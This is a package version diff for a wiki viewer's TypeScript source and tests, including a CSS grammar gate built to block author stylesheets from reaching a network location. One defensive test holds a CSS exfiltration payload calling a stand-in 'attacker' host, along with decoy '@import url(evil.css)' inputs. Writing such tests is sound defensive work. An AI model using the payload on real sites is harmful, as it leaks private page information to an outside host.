@immediately-run/grove 0.1.2 → 0.1.3
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/README.md +43 -115
- package/llms.txt +5 -2
- package/package.json +10 -8
- package/src/App.tsx +11 -7
- package/src/GroveApp.css +484 -152
- package/src/GroveWiki.tsx +105 -30
- package/src/components/AssetImage.tsx +1 -12
- package/src/components/Backlinks.tsx +2 -2
- package/src/components/Catalogue.test.tsx +157 -0
- package/src/components/ContentTheme.test.tsx +146 -0
- package/src/components/ContentTheme.tsx +111 -0
- package/src/components/DocList.infinite.test.tsx +177 -0
- package/src/components/DocList.tsx +82 -9
- package/src/components/Drawer.tsx +14 -2
- package/src/components/EntryHeader.tsx +23 -12
- package/src/components/EntryImage.test.tsx +210 -0
- package/src/components/EntryImage.tsx +47 -0
- package/src/components/Galleries.test.tsx +98 -0
- package/src/components/GroveAgent.test.tsx +330 -0
- package/src/components/GroveAgent.tsx +269 -150
- package/src/components/GroveNav.test.tsx +145 -5
- package/src/components/GroveNav.tsx +51 -8
- package/src/components/Icon.tsx +0 -1
- package/src/components/InlineProse.tsx +37 -0
- package/src/components/LayoutGallery.tsx +65 -0
- package/src/components/PageView.tsx +18 -3
- package/src/components/Search.test.tsx +113 -0
- package/src/components/Search.tsx +53 -18
- package/src/components/Sidebar.test.tsx +135 -0
- package/src/components/Sidebar.tsx +114 -12
- package/src/components/TableOfContents.test.tsx +27 -16
- package/src/components/ThemeAssets.test.tsx +109 -0
- package/src/components/ThemeAssets.tsx +63 -0
- package/src/components/ThemeGallery.tsx +31 -0
- package/src/components/Timeline.tsx +5 -2
- package/src/components/WikiLink.tsx +2 -2
- package/src/data/catalogue.ts +54 -0
- package/src/data/themeFonts.ts +58 -0
- package/src/data/themes.ts +16 -7
- package/src/hooks/{useCorpusMetadata.ts → useBundleMetadata.ts} +6 -6
- package/src/hooks/useContentComponents.ts +1 -1
- package/src/hooks/useEditAffordance.ts +17 -4
- package/src/hooks/useOverlayFocusDismiss.test.tsx +139 -0
- package/src/hooks/useOverlayFocusDismiss.ts +118 -0
- package/src/hooks/useScrollReset.test.tsx +132 -0
- package/src/hooks/useScrollReset.ts +52 -0
- package/src/index.css +9 -2
- package/src/lib/agentPrompt.test.ts +96 -0
- package/src/lib/agentPrompt.ts +86 -0
- package/src/lib/agentTools.test.ts +115 -0
- package/src/lib/agentTools.ts +132 -0
- package/src/lib/agentTranscript.ts +50 -0
- package/src/lib/assetPath.test.ts +36 -0
- package/src/lib/assetPath.ts +42 -0
- package/src/lib/collectionCalls.test.ts +69 -0
- package/src/lib/content.test.ts +10 -2
- package/src/lib/content.ts +7 -0
- package/src/lib/contentStylesheet.test.ts +80 -0
- package/src/lib/contentStylesheet.ts +103 -0
- package/src/lib/corpusScan.test.ts +37 -3
- package/src/lib/corpusScan.ts +17 -2
- package/src/lib/inlineProse.parity.test.ts +52 -0
- package/src/lib/layout.ts +29 -0
- package/src/lib/pageVariants.test.tsx +87 -0
- package/src/lib/queries.test.ts +33 -1
- package/src/lib/queries.ts +33 -1
- package/src/lib/reachCard.test.ts +94 -0
- package/src/lib/reachCard.ts +112 -0
- package/src/lib/shell.ts +7 -0
- package/src/lib/starterSweep.test.tsx +160 -0
- package/src/lib/starterSweep.ts +97 -0
- package/src/lib/themeAssets.test.ts +135 -0
- package/src/lib/themeAssets.ts +143 -0
- package/src/lib/themeSelection.test.ts +2 -2
- package/src/mdxComponents.ts +4 -0
- package/viewer-manifest.schema.json +37 -0
- package/viewer.manifest.json +132 -6
|
@@ -0,0 +1,50 @@
|
|
|
1
|
+
// Transcript mapping (GROVE_AGENT_SPEC S2): the loop's AgentMessage[] → the rows
|
|
2
|
+
// the panel renders. Tool traffic becomes compact activity rows ("read
|
|
3
|
+
// wiki/security.mdx", "queried the index") — the model's own text streams as
|
|
4
|
+
// assistant rows, and nothing from a tool result is rendered unfenced into the
|
|
5
|
+
// transcript surface.
|
|
6
|
+
|
|
7
|
+
import type { AgentMessage } from '@immediately-run/sdk';
|
|
8
|
+
import { READ_ENTRY_TOOL_NAME } from './agentTools';
|
|
9
|
+
import { METADATA_QUERY_TOOL_NAME } from '@immediately-run/sdk';
|
|
10
|
+
|
|
11
|
+
export type AgentRow =
|
|
12
|
+
| { kind: 'user'; text: string }
|
|
13
|
+
| { kind: 'assistant'; text: string }
|
|
14
|
+
| { kind: 'activity'; text: string };
|
|
15
|
+
|
|
16
|
+
/** One tool call, as a line the reader can scan. */
|
|
17
|
+
export function toolActivityLine(name: string, input: Record<string, unknown>): string {
|
|
18
|
+
if (name === READ_ENTRY_TOOL_NAME) return `read ${String(input.path ?? '?')}`;
|
|
19
|
+
if (name === METADATA_QUERY_TOOL_NAME) {
|
|
20
|
+
const w = input.where;
|
|
21
|
+
if (Array.isArray(w) && w.length) {
|
|
22
|
+
const first = w[0] as { key?: unknown; value?: unknown };
|
|
23
|
+
return `queried the index — ${String(first.key ?? '')} ${String(first.value ?? '')}`.trim();
|
|
24
|
+
}
|
|
25
|
+
return 'queried the index';
|
|
26
|
+
}
|
|
27
|
+
return name;
|
|
28
|
+
}
|
|
29
|
+
|
|
30
|
+
export function transcriptToRows(messages: AgentMessage[]): AgentRow[] {
|
|
31
|
+
const rows: AgentRow[] = [];
|
|
32
|
+
for (const m of messages) {
|
|
33
|
+
if (m.role === 'user') {
|
|
34
|
+
const toolResults = m.content.filter((b) => b.type === 'tool_result');
|
|
35
|
+
if (toolResults.length) continue; // activity, rendered at its tool_use site
|
|
36
|
+
const text = m.content
|
|
37
|
+
.filter((b): b is { type: 'text'; text: string } => b.type === 'text')
|
|
38
|
+
.map((b) => b.text)
|
|
39
|
+
.join('');
|
|
40
|
+
if (text.trim()) rows.push({ kind: 'user', text: text.trim() });
|
|
41
|
+
} else {
|
|
42
|
+
const blocks = m.content;
|
|
43
|
+
for (const b of blocks) {
|
|
44
|
+
if (b.type === 'text' && b.text.trim()) rows.push({ kind: 'assistant', text: b.text.trim() });
|
|
45
|
+
else if (b.type === 'tool_use') rows.push({ kind: 'activity', text: toolActivityLine(b.name, b.input) });
|
|
46
|
+
}
|
|
47
|
+
}
|
|
48
|
+
}
|
|
49
|
+
return rows;
|
|
50
|
+
}
|
|
@@ -0,0 +1,36 @@
|
|
|
1
|
+
// The pure resolver (R3-313): entry-relative resolution against the OWNING entry,
|
|
2
|
+
// the absolute-`/` escape, traversal, and the degrade-to-empty contract.
|
|
3
|
+
import { describe, it, expect } from 'vitest';
|
|
4
|
+
import { resolvePath, entryAssetRelPath } from './assetPath';
|
|
5
|
+
|
|
6
|
+
describe('resolvePath', () => {
|
|
7
|
+
it('resolves relative to the base file directory', () => {
|
|
8
|
+
expect(resolvePath('/app/content/wiki/a.mdx', 'pic.png')).toBe('/app/content/wiki/pic.png');
|
|
9
|
+
expect(resolvePath('/app/content/wiki/a.mdx', './pic.png')).toBe('/app/content/wiki/pic.png');
|
|
10
|
+
expect(resolvePath('/app/content/wiki/a.mdx', '../img/pic.png')).toBe('/app/content/img/pic.png');
|
|
11
|
+
expect(resolvePath('/app/content/wiki/deep/a.mdx', '../../pic.png')).toBe('/app/content/pic.png');
|
|
12
|
+
});
|
|
13
|
+
|
|
14
|
+
it('an absolute reference roots at the filesystem (the body-image escape rule)', () => {
|
|
15
|
+
expect(resolvePath('/app/content/wiki/a.mdx', '/app/assets/x.svg')).toBe('/app/assets/x.svg');
|
|
16
|
+
});
|
|
17
|
+
});
|
|
18
|
+
|
|
19
|
+
describe('entryAssetRelPath — the MountImage feed', () => {
|
|
20
|
+
it('strips the root for the root-anchored mount', () => {
|
|
21
|
+
expect(entryAssetRelPath('/app/content/wiki/a.mdx', 'pic.png')).toBe('app/content/wiki/pic.png');
|
|
22
|
+
});
|
|
23
|
+
|
|
24
|
+
it('empty/absent/malformed src degrades to "" (caller renders the lattice)', () => {
|
|
25
|
+
expect(entryAssetRelPath('/app/content/a.mdx', undefined)).toBe('');
|
|
26
|
+
expect(entryAssetRelPath('/app/content/a.mdx', null)).toBe('');
|
|
27
|
+
expect(entryAssetRelPath('/app/content/a.mdx', '')).toBe('');
|
|
28
|
+
expect(entryAssetRelPath('/app/content/a.mdx', ' ')).toBe('');
|
|
29
|
+
});
|
|
30
|
+
|
|
31
|
+
it('UNDER DISPATCH the resolved path carries the chroot prefix only as the READ key — the component publishes MountImage object URLs, never this string', () => {
|
|
32
|
+
// The mount key space is the metadata key space; resolution is prefix-faithful…
|
|
33
|
+
expect(entryAssetRelPath('/mnt/abc123def456/wiki/a.mdx', 'pic.png')).toBe('mnt/abc123def456/wiki/pic.png');
|
|
34
|
+
// …which is exactly why the COMPONENT test asserts this string never reaches the DOM.
|
|
35
|
+
});
|
|
36
|
+
});
|
|
@@ -0,0 +1,42 @@
|
|
|
1
|
+
// Entry-relative asset resolution (R3-313) — the ONE place that turns "an entry's
|
|
2
|
+
// `cover:`/`img src`" into the fs path the SDK's `MountImage` reads.
|
|
3
|
+
//
|
|
4
|
+
// The distinction this module exists for: a body image resolves against the entry
|
|
5
|
+
// CURRENTLY BEING RENDERED (`navigationState.sandboxPath` — `AssetImage`), while a
|
|
6
|
+
// cover resolves against its OWNING entry — the entry the card/row/tile is ABOUT,
|
|
7
|
+
// which under dispatch is usually a DIFFERENT base. Getting this wrong is not a bug
|
|
8
|
+
// in `AssetImage`; it is the second half of design-pass gap 7: a `<DocList>` card or
|
|
9
|
+
// `<Timeline>` row showing another entry's picture resolved against the wrong base
|
|
10
|
+
// by construction.
|
|
11
|
+
//
|
|
12
|
+
// Pure path arithmetic — no fs, no React — so the dispatch guarantee (the chroot
|
|
13
|
+
// prefix is host knowledge the viewer reads THROUGH but never publishes) is testable
|
|
14
|
+
// here in isolation.
|
|
15
|
+
|
|
16
|
+
/** Resolve `relativePath` against the directory of `basePath` (both fs paths). */
|
|
17
|
+
export function resolvePath(basePath: string, relativePath: string): string {
|
|
18
|
+
if (relativePath.startsWith('/')) return relativePath;
|
|
19
|
+
const parts = basePath.split('/');
|
|
20
|
+
parts.pop(); // the base is the entry's FILE path; assets resolve against its dir
|
|
21
|
+
for (const part of relativePath.split('/')) {
|
|
22
|
+
if (part === '.' || part === '') continue;
|
|
23
|
+
if (part === '..') parts.pop();
|
|
24
|
+
else parts.push(part);
|
|
25
|
+
}
|
|
26
|
+
return parts.join('/');
|
|
27
|
+
}
|
|
28
|
+
|
|
29
|
+
/**
|
|
30
|
+
* The mount-relative path `MountImage` should read an entry-declared asset at.
|
|
31
|
+
*
|
|
32
|
+
* @param entryPath the OWNING entry's absolute fs path (the metadata key space —
|
|
33
|
+
* `/app/content/…` fork, `/mnt/<hash>/…` dispatch)
|
|
34
|
+
* @param src the declared asset reference (entry-relative, or absolute `/…` which
|
|
35
|
+
* roots at the filesystem — the same escape rule body images follow)
|
|
36
|
+
* @returns the path with the leading slash stripped (root-mount-relative), or `''`
|
|
37
|
+
* when there is nothing to resolve (caller degrades)
|
|
38
|
+
*/
|
|
39
|
+
export function entryAssetRelPath(entryPath: string, src: string | undefined | null): string {
|
|
40
|
+
if (typeof src !== 'string' || !src.trim()) return '';
|
|
41
|
+
return resolvePath(entryPath, src.trim()).replace(/^\/+/, '');
|
|
42
|
+
}
|
|
@@ -0,0 +1,69 @@
|
|
|
1
|
+
// The bucket-C gate (R3-309): every documented collection call uses LITERAL
|
|
2
|
+
// attributes only. The interpreter copies `paginate="infinite"` verbatim but
|
|
3
|
+
// drops `paginate={mode}` SILENTLY — the list renders whole with nothing saying
|
|
4
|
+
// why, which is the one failure a corpus author cannot diagnose from inside.
|
|
5
|
+
//
|
|
6
|
+
// The scanner is pure over strings (fault-injectable); the test drives it over
|
|
7
|
+
// every .mdx in content/ — the starters and the sample corpus alike — because a
|
|
8
|
+
// shipped example with an expression prop is a lesson in the failure.
|
|
9
|
+
import { describe, it, expect } from 'vitest';
|
|
10
|
+
import { readFileSync, readdirSync } from 'node:fs';
|
|
11
|
+
import { join } from 'node:path';
|
|
12
|
+
|
|
13
|
+
/** The components whose calls select collection shapes (the manifest's
|
|
14
|
+
* `collections` section rides on these). */
|
|
15
|
+
export const COLLECTION_COMPONENTS = ['DocList', 'Timeline', 'ChildPages', 'DocsByTag'] as const;
|
|
16
|
+
|
|
17
|
+
/** Every attribute written as an expression (`attr={…}`) on a collection call.
|
|
18
|
+
* MDX attribute syntax only; braces inside fenced code are never calls. */
|
|
19
|
+
export function expressionPropsOf(source: string): string[] {
|
|
20
|
+
const out: string[] = [];
|
|
21
|
+
const tagRe = new RegExp(`<(${COLLECTION_COMPONENTS.join('|')})[\\s>]`, 'g');
|
|
22
|
+
for (const m of source.matchAll(tagRe)) {
|
|
23
|
+
// The tag's span: from the match to the closing `/>` or the matching `>`.
|
|
24
|
+
const start = m.index!;
|
|
25
|
+
const end = source.indexOf('/>', start);
|
|
26
|
+
const end2 = source.indexOf('>', start);
|
|
27
|
+
const stop = end === -1 ? end2 : Math.min(end, end2);
|
|
28
|
+
if (stop === -1) continue;
|
|
29
|
+
const tagText = source.slice(start, stop);
|
|
30
|
+
for (const a of tagText.matchAll(/(\w+)\s*=\s*\{/g)) out.push(`${m[1]}.${a[1]}`);
|
|
31
|
+
}
|
|
32
|
+
return out;
|
|
33
|
+
}
|
|
34
|
+
|
|
35
|
+
function allMdx(dir = ''): string[] {
|
|
36
|
+
const out: string[] = [];
|
|
37
|
+
for (const e of readdirSync(join(process.cwd(), 'content', dir), { withFileTypes: true })) {
|
|
38
|
+
const rel = dir ? `${dir}/${e.name}` : e.name;
|
|
39
|
+
if (e.isDirectory()) out.push(...allMdx(rel));
|
|
40
|
+
else if (e.name.endsWith('.mdx')) out.push(rel);
|
|
41
|
+
}
|
|
42
|
+
return out.sort();
|
|
43
|
+
}
|
|
44
|
+
|
|
45
|
+
describe('collection calls keep their attributes literal (R3-309 bucket C)', () => {
|
|
46
|
+
it('the scanner finds the corpus (checked > 0), starters included', () => {
|
|
47
|
+
const files = allMdx();
|
|
48
|
+
expect(files.length).toBeGreaterThan(10);
|
|
49
|
+
expect(files.some((f) => f.startsWith('_layouts/'))).toBe(true);
|
|
50
|
+
});
|
|
51
|
+
|
|
52
|
+
it('no expression prop on any collection call in content/', () => {
|
|
53
|
+
const offenders: string[] = [];
|
|
54
|
+
for (const f of allMdx()) {
|
|
55
|
+
const bad = expressionPropsOf(readFileSync(join(process.cwd(), 'content', f), 'utf8'));
|
|
56
|
+
for (const b of bad) offenders.push(`${f}: ${b}`);
|
|
57
|
+
}
|
|
58
|
+
expect(offenders).toEqual([]);
|
|
59
|
+
});
|
|
60
|
+
|
|
61
|
+
it('fault injection: a planted expression prop IS caught', () => {
|
|
62
|
+
// `paginate="infinite"` is copied verbatim; `paginate={mode}` is dropped
|
|
63
|
+
// silently. The gate exists for exactly this shape.
|
|
64
|
+
expect(expressionPropsOf('<DocList shape="grid" paginate={mode} />')).toEqual(['DocList.paginate']);
|
|
65
|
+
expect(expressionPropsOf('<Timeline limit={n}>x</Timeline>')).toEqual(['Timeline.limit']);
|
|
66
|
+
// Literals — including string numerals — pass.
|
|
67
|
+
expect(expressionPropsOf('<DocList shape="grid" limit="4" sort="date" />')).toEqual([]);
|
|
68
|
+
});
|
|
69
|
+
});
|
package/src/lib/content.test.ts
CHANGED
|
@@ -231,10 +231,18 @@ describe('link-space parity (LINK_SPACE_FIXTURE, R3-277b)', () => {
|
|
|
231
231
|
// packaging's root. The mount-absolute corpus of the fixture is '/app/content'
|
|
232
232
|
// — exactly the fork's — so the corpus-space cases translate verbatim; the
|
|
233
233
|
// fs-rooted/no-corpus case and the chroot collapse are resolver-level (the
|
|
234
|
-
// checker + SDK suites own them) and are skipped by
|
|
234
|
+
// checker + SDK suites own them) and are skipped by their root field here.
|
|
235
|
+
//
|
|
236
|
+
// The root reads NEW-THEN-OLD (`bundleRoot`, else `corpusRoot` — R3-482), matching
|
|
237
|
+
// the resolver and the docs harness: matching on `corpusRoot` alone would let this
|
|
238
|
+
// harness go quietly vacuous as fixture cases adopt the new spelling — the filter
|
|
239
|
+
// would drop them and nothing would go red. An explicit `bundleRoot: null` is a
|
|
240
|
+
// VALUE ("no bundle root"), not "absent" — it must not fall back.
|
|
235
241
|
const FORK_ROOT = '/app/content';
|
|
242
|
+
const statedRoot = (c: (typeof LINK_SPACE_FIXTURE)[number]): string | null =>
|
|
243
|
+
c.bundleRoot !== undefined ? c.bundleRoot : (c.corpusRoot ?? null);
|
|
236
244
|
const contentCases = LINK_SPACE_FIXTURE.filter(
|
|
237
|
-
(c) => c
|
|
245
|
+
(c) => statedRoot(c) === FORK_ROOT && !c.bundleChrooted && c.currentFile !== undefined,
|
|
238
246
|
);
|
|
239
247
|
|
|
240
248
|
it('the fixture still reaches this harness (non-vacuous)', () => {
|
package/src/lib/content.ts
CHANGED
|
@@ -55,6 +55,13 @@ export function isContentEntry(key: string): boolean {
|
|
|
55
55
|
// counts as an entry in one and not the other is a page that exists but cannot be
|
|
56
56
|
// found — or an index row pointing at a layout wrapper.
|
|
57
57
|
if (!key.startsWith(contentDir())) return false;
|
|
58
|
+
// R3-309 — underscore-prefixed DIRECTORIES are copy-source, not pages. The canon's
|
|
59
|
+
// entry rule excludes only the exact `_layout.mdx` filename; `content/_layouts/` (the
|
|
60
|
+
// layout starters) would otherwise be routable, searchable, indexed pages rendered
|
|
61
|
+
// mid-catalogue. This is GROVE's rooting-layer policy on top of the canon, not a
|
|
62
|
+
// second entry rule: the docs corpus has no `_`-directories, so the canon never
|
|
63
|
+
// needed the rule and grove's starters do.
|
|
64
|
+
if (/(?:^|\/)_[^/]+\//.test(key.slice(contentDir().length))) return false;
|
|
58
65
|
return isContentEntryPath(key);
|
|
59
66
|
}
|
|
60
67
|
|
|
@@ -0,0 +1,80 @@
|
|
|
1
|
+
// R3-316's grammar gate, adversarially: every forbidden shape is rejected AND
|
|
2
|
+
// NAMED; comment- and string-hidden attempts do not change the verdict; clean
|
|
3
|
+
// declarations pass with their quoted values intact.
|
|
4
|
+
import { describe, it, expect } from 'vitest';
|
|
5
|
+
import { gateStylesheet, blankCssNoise } from './contentStylesheet';
|
|
6
|
+
|
|
7
|
+
describe('clean sheets pass', () => {
|
|
8
|
+
it('declarations-only CSS is admitted, quoted values intact', () => {
|
|
9
|
+
const v = gateStylesheet('--bg: #101010;\n--font-body: "Lora", serif;\n');
|
|
10
|
+
expect(v.ok).toBe(true);
|
|
11
|
+
if (v.ok) expect(v.declarations).toContain('"Lora", serif');
|
|
12
|
+
});
|
|
13
|
+
|
|
14
|
+
it('comments are allowed (and carry no verdict)', () => {
|
|
15
|
+
const v = gateStylesheet('/* a note */\n--bg: #101010;\n');
|
|
16
|
+
expect(v.ok).toBe(true);
|
|
17
|
+
});
|
|
18
|
+
});
|
|
19
|
+
|
|
20
|
+
describe('the forbidden shapes are rejected and NAMED', () => {
|
|
21
|
+
const cases: Array<[string, string, RegExp]> = [
|
|
22
|
+
['a selector', '.sidebar { display: none; }', /selector/],
|
|
23
|
+
['url(', '--wash: url(paper.jpg);', /url\(/],
|
|
24
|
+
['@import', '@import url(evil.css);', /@import/],
|
|
25
|
+
['@font-face', '@font-face { src: url(a.woff2); }', /@font-face/],
|
|
26
|
+
['@layer', '@layer grove.content { }', /layer/],
|
|
27
|
+
['a bare property (not a custom prop)', 'color: red;', /custom-property/],
|
|
28
|
+
['a media at-rule', '@media (min-width: 600px) { }', /at-rules/],
|
|
29
|
+
];
|
|
30
|
+
for (const [name, css, reasonRe] of cases) {
|
|
31
|
+
it(`${name} → rejected, line named, excerpt quoted`, () => {
|
|
32
|
+
const v = gateStylesheet(`--ok: 1;\n${css}\n--ok2: 2;\n`);
|
|
33
|
+
expect(v.ok).toBe(false);
|
|
34
|
+
if (!v.ok) {
|
|
35
|
+
expect(v.line).toBe(2);
|
|
36
|
+
expect(v.reason).toMatch(reasonRe);
|
|
37
|
+
expect(v.excerpt.length).toBeGreaterThan(0);
|
|
38
|
+
}
|
|
39
|
+
});
|
|
40
|
+
}
|
|
41
|
+
});
|
|
42
|
+
|
|
43
|
+
describe('hidden attempts do not change the verdict (the blanking rule)', () => {
|
|
44
|
+
it('a url( inside a COMMENT is ignored — the comment carries no semantics', () => {
|
|
45
|
+
expect(gateStylesheet('/* url(nothing-here) */\n--bg: #101010;\n').ok).toBe(true);
|
|
46
|
+
});
|
|
47
|
+
|
|
48
|
+
it('a REAL url( after a decoy comment is still caught', () => {
|
|
49
|
+
const v = gateStylesheet('/* url(decoy) */\n--wash: url(real-evil.jpg);\n');
|
|
50
|
+
expect(v.ok).toBe(false);
|
|
51
|
+
if (!v.ok) expect(v.line).toBe(2);
|
|
52
|
+
});
|
|
53
|
+
|
|
54
|
+
it('a selector-shaped STRING inside a declaration is inert data, not a rule — admitted', () => {
|
|
55
|
+
// String CONTENTS are blanked for the scan (so nothing inside a string can
|
|
56
|
+
// smuggle a verdict-changing token) and the line remains a well-formed
|
|
57
|
+
// declaration; a custom property never re-interprets its value as a rule.
|
|
58
|
+
const v = gateStylesheet(`--note: "{ display: none; }";\n`);
|
|
59
|
+
expect(v.ok).toBe(true);
|
|
60
|
+
if (v.ok) expect(v.declarations).toContain('--note:');
|
|
61
|
+
});
|
|
62
|
+
|
|
63
|
+
it('blankCssNoise preserves offsets (line numbers stay true)', () => {
|
|
64
|
+
const src = 'a { /* comment\nspanning lines */ }';
|
|
65
|
+
const blanked = blankCssNoise(src);
|
|
66
|
+
expect(blanked.indexOf('comment')).toBe(-1);
|
|
67
|
+
expect(blanked.length).toBe(src.length);
|
|
68
|
+
});
|
|
69
|
+
});
|
|
70
|
+
|
|
71
|
+
describe('the existence-oracle payload — the attack the grammar exists for', () => {
|
|
72
|
+
it('the canonical exfiltration attempt is rejected by name', () => {
|
|
73
|
+
const attack = `a[href^="/content/salary-"] { background-image: url("https://attacker/?hit"); }`;
|
|
74
|
+
const v = gateStylesheet(attack);
|
|
75
|
+
expect(v.ok).toBe(false);
|
|
76
|
+
// Either catch is a correct rejection: the url( (the exfil channel) or the
|
|
77
|
+
// selector (the reach). Both are named, line-accurate verdicts.
|
|
78
|
+
if (!v.ok) expect(v.reason).toMatch(/selector|url\(/);
|
|
79
|
+
});
|
|
80
|
+
});
|
|
@@ -0,0 +1,103 @@
|
|
|
1
|
+
// The content-stylesheet grammar gate (R3-316; plan 05-content-carried-themes).
|
|
2
|
+
//
|
|
3
|
+
// Author-supplied CSS is contained by a GRAMMAR, not by the CSP: a `ui/stylesheet`
|
|
4
|
+
// entry may carry declarations and NOTHING else. A selector would let it reach
|
|
5
|
+
// the DOM (and hide the theme control); `url(`/`@import`/`@font-face` would let
|
|
6
|
+
// it name a network location — the existence-oracle channel the CSP does not
|
|
7
|
+
// close for an INTERPRETED, SHARED space (no CSP at all there), which is the gap
|
|
8
|
+
// this grammar closes in every stance.
|
|
9
|
+
//
|
|
10
|
+
// Comments and strings are BLANKED (whitespace of equal length, offsets
|
|
11
|
+
// preserved) before the SCAN — a `url(` inside a comment must not decide the
|
|
12
|
+
// outcome, and a selector hidden in a string must not be smuggled through. The
|
|
13
|
+
// EMITTED declarations come from the original bytes (a declaration's quoted
|
|
14
|
+
// values are legitimate: `--font-body: "Lora", serif;`), which is safe precisely
|
|
15
|
+
// because the blanked scan already proved every line is a declaration.
|
|
16
|
+
|
|
17
|
+
export type GateResult =
|
|
18
|
+
| { ok: true; declarations: string }
|
|
19
|
+
| { ok: false; line: number; reason: string; excerpt: string };
|
|
20
|
+
|
|
21
|
+
/** Blank `/* … *``/` comments and quoted strings with offset-preserving whitespace. */
|
|
22
|
+
export function blankCssNoise(src: string): string {
|
|
23
|
+
const out = src.split('');
|
|
24
|
+
const blank = (from: number, to: number): void => {
|
|
25
|
+
for (let k = from; k < to && k < out.length; k++) if (out[k] !== '\n') out[k] = ' ';
|
|
26
|
+
};
|
|
27
|
+
let i = 0;
|
|
28
|
+
while (i < src.length) {
|
|
29
|
+
const two = src.slice(i, i + 2);
|
|
30
|
+
if (two === '/*') {
|
|
31
|
+
const close = src.indexOf('*/', i + 2);
|
|
32
|
+
const end = close === -1 ? src.length : close + 2;
|
|
33
|
+
blank(i, end);
|
|
34
|
+
i = end;
|
|
35
|
+
} else if (src[i] === '"' || src[i] === "'") {
|
|
36
|
+
const quote = src[i];
|
|
37
|
+
let j = i + 1;
|
|
38
|
+
while (j < src.length && src[j] !== quote) j += src[j] === '\\' ? 2 : 1;
|
|
39
|
+
blank(i + 1, Math.min(j, src.length)); // blank the CONTENTS, keep the quotes
|
|
40
|
+
i = Math.min(j + 1, src.length);
|
|
41
|
+
} else {
|
|
42
|
+
i += 1;
|
|
43
|
+
}
|
|
44
|
+
}
|
|
45
|
+
return out.join('');
|
|
46
|
+
}
|
|
47
|
+
|
|
48
|
+
/** The line number (1-based) an index falls on. */
|
|
49
|
+
function lineOf(src: string, idx: number): number {
|
|
50
|
+
let line = 1;
|
|
51
|
+
for (let i = 0; i < idx && i < src.length; i++) if (src[i] === '\n') line += 1;
|
|
52
|
+
return line;
|
|
53
|
+
}
|
|
54
|
+
|
|
55
|
+
const REJECTS: Array<{ re: RegExp; reason: string }> = [
|
|
56
|
+
{ re: /@import/i, reason: '@import names a location — declarations only' },
|
|
57
|
+
{ re: /@font-face/i, reason: '@font-face is engine-emitted from declared faces, never authored' },
|
|
58
|
+
{ re: /@layer/i, reason: 'layer order is engine-owned' },
|
|
59
|
+
{ re: /@/i, reason: 'at-rules are not declarations' },
|
|
60
|
+
{ re: /\burl\(/i, reason: 'url( names a location — assets are declared (fonts:/assets:), never named' },
|
|
61
|
+
];
|
|
62
|
+
|
|
63
|
+
/**
|
|
64
|
+
* Gate a stylesheet's bytes: declarations only, each line `--token: value;`.
|
|
65
|
+
* A rejected verdict names the line and quotes it from the original bytes.
|
|
66
|
+
*/
|
|
67
|
+
export function gateStylesheet(css: string): GateResult {
|
|
68
|
+
const blanked = blankCssNoise(css);
|
|
69
|
+
// At-rules first, so `@font-face { … }` reports @font-face (the specific
|
|
70
|
+
// violation) rather than the generic brace catch; url( after both.
|
|
71
|
+
for (const { re, reason } of REJECTS) {
|
|
72
|
+
const m = re.exec(blanked);
|
|
73
|
+
if (m) {
|
|
74
|
+
const line = lineOf(css, m.index);
|
|
75
|
+
return { ok: false, line, reason, excerpt: css.split('\n')[line - 1]?.trim().slice(0, 80) ?? '' };
|
|
76
|
+
}
|
|
77
|
+
}
|
|
78
|
+
const braced = blanked.search(/[{}]/);
|
|
79
|
+
if (braced !== -1) {
|
|
80
|
+
const line = lineOf(css, braced);
|
|
81
|
+
return {
|
|
82
|
+
ok: false,
|
|
83
|
+
line,
|
|
84
|
+
reason: 'a selector/rule block — a ui/stylesheet carries declarations only',
|
|
85
|
+
excerpt: css.split('\n')[line - 1]?.trim().slice(0, 80) ?? '',
|
|
86
|
+
};
|
|
87
|
+
}
|
|
88
|
+
const scanLines = blanked.split('\n');
|
|
89
|
+
const origLines = css.split('\n');
|
|
90
|
+
for (let i = 0; i < scanLines.length; i++) {
|
|
91
|
+
const line = scanLines[i].trim();
|
|
92
|
+
if (!line) continue;
|
|
93
|
+
if (!/^--[\w-]+\s*:[^;]*;?$/.test(line)) {
|
|
94
|
+
return {
|
|
95
|
+
ok: false,
|
|
96
|
+
line: i + 1,
|
|
97
|
+
reason: 'not a custom-property declaration (declarations only, `--token: value;`)',
|
|
98
|
+
excerpt: origLines[i]?.trim().slice(0, 80) ?? '',
|
|
99
|
+
};
|
|
100
|
+
}
|
|
101
|
+
}
|
|
102
|
+
return { ok: true, declarations: origLines.map((l) => l.trim()).filter(Boolean).join('\n') };
|
|
103
|
+
}
|
|
@@ -90,11 +90,14 @@ describe('scanCorpus — the index a dispatched viewer reads', () => {
|
|
|
90
90
|
expect(meta['/mnt/c/themes.mdx'].owns).toEqual({ concepts: ['the-frame'] });
|
|
91
91
|
});
|
|
92
92
|
|
|
93
|
-
it('keeps an entry with NO frontmatter, with empty metadata', async () => {
|
|
93
|
+
it('keeps an entry with NO frontmatter, with empty metadata (plus the additive headings field)', async () => {
|
|
94
94
|
// A draft or a bare `_layout.mdx` is still part of the corpus; dropping it would make
|
|
95
|
-
// the file unroutable rather than merely unlabelled.
|
|
95
|
+
// the file unroutable rather than merely unlabelled. Since the headings index
|
|
96
|
+
// extension (GROVE_AGENT_SPEC §4) the row carries its heading list too.
|
|
96
97
|
const fs = fakeFs({ '/mnt/c/raw.mdx': '# just a heading\n' });
|
|
97
|
-
expect(await scanCorpus('/mnt/c', fs)).toEqual({
|
|
98
|
+
expect(await scanCorpus('/mnt/c', fs)).toEqual({
|
|
99
|
+
'/mnt/c/raw.mdx': { headings: [{ id: 'just-a-heading', text: 'just a heading', depth: 1 }] },
|
|
100
|
+
});
|
|
98
101
|
});
|
|
99
102
|
|
|
100
103
|
it('loses only the unreadable entry, never the corpus', async () => {
|
|
@@ -155,3 +158,34 @@ describe('parseFrontmatter — the grammar the authoring contract documents', ()
|
|
|
155
158
|
expect(parseFrontmatter(src).data).toEqual({});
|
|
156
159
|
});
|
|
157
160
|
});
|
|
161
|
+
|
|
162
|
+
describe('scanCorpus — the additive headings index (GROVE_AGENT_SPEC §4)', () => {
|
|
163
|
+
it('G-GA-7 — a scan emits headings whose ids match the rendered anchors (the mdx-plugins canon)', async () => {
|
|
164
|
+
const fs = fakeFs({
|
|
165
|
+
'/mnt/c/a.mdx': '---\ntitle: A\n---\n\n## 8. Capability model\n\n## Getting started\n\n## Getting started\n',
|
|
166
|
+
});
|
|
167
|
+
const meta = await scanCorpus('/mnt/c', fs);
|
|
168
|
+
expect(meta['/mnt/c/a.mdx']).toMatchObject({
|
|
169
|
+
